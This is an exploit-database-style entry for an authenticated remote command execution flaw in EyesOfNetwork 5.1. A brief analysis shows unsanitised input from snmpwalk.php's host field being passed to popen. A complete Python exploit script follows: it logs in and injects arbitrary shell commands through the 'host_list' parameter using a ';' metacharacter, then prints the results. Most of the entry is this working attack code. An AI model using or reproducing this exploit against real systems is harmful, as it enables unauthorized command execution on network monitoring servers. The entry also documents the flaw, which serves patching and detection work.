# Exploit Title: EyesOfNetwork 5.1 - Authenticated Remote Command Execution # Google Dork: N/A # Date: 2019-08-14 # Exploit Author: Nassim Asrir # Vendor Homepage: https://www.eyesofnetwork.com/ # Software Link: https://www.eyesofnetwork.com/?page_id=48&lang=fr # Version: 5.1 < 5.0 # Tested on: Windows 10 # CVE : N/A #About The Product: ''' EyesOfNetwork ("EON") is the OpenSource solution combining a pragmatic usage of ITIL processes and a technological interface allowing their workaday application. EyesOfNetwork Supervision is the first brick of a range of products targeting to assist IT managment and gouvernance. EyesOfNetwork Supervision provides event management, availability, problems and capacity. #Technical Analysis: EyesOfNetwork allows Remote Command Execution via shell metacharacters in the module/tool_all/ host field. By looking into tools/snmpwalk.php we will find the vulnerable part of code: else{ $command = "snmpwalk -c $snmp_community -v $snmp_version $host_name"; } in this line we can see as the attacker who control the value of "$host_name" variable . And after that we have the magic function "popen" in the next part of code. $handle = popen($command,'r'); echo "<p>";<br /> while($read = fread($handle,100)){ echo nl2br($read); flush(); } pclose($handle); And now we can see the use of "popen" function that execute the $command's value and if we set a shell metacharacters ";" in the end of the command we will be able to execute OS command.''' #Exploit import requests import optparse import sys import bs4 as bs commandList = optparse.OptionParser('usage: %prog -t https://target:443 -u admin -p pwd -c "ls"') commandList.add_option('-t', '--target', action="store", help="Insert TARGET URL", ) commandList.add_option('-c', '--cmd', action="store", help="Insert command name", ) commandList.add_option('-u', '--user', action="store", help="Insert username", ) commandList.add_option('-p', '--pwd', action="store", help="Insert password", ) options, remainder = commandList.parse_args() if not options.target or not options.cmd or not options.user or not options.pwd: commandList.print_help() sys.exit(1) url = options.target cmd = options.cmd user = options.user pwd = options.pwd with requests.session() as c: link=url initial=c.get(link) login_data={"login":user,"mdp":pwd} page_login=c.post(str(link)+"/login.php", data=login_data) v_url=link+"/module/tool_all/select_tool.php" v_data = {"page": "bylistbox", "host_list": "127.0.0.1;"+cmd, "tool_list": "tools/snmpwalk.php", "snmp_com": "mm", "snmp_version": "2c", "min_port": "1", "max_port": "1024", "username": '', "password": '', "snmp_auth_protocol": "MD5", "snmp_priv_passphrase": '', "snmp_priv_protocol": '', "snmp_context": ''} page_v=c.post(v_url, data=v_data) my=bs.BeautifulSoup(page_v.content, "lxml") for textarea in my.find_all('p'): final = textarea.get_text() print final
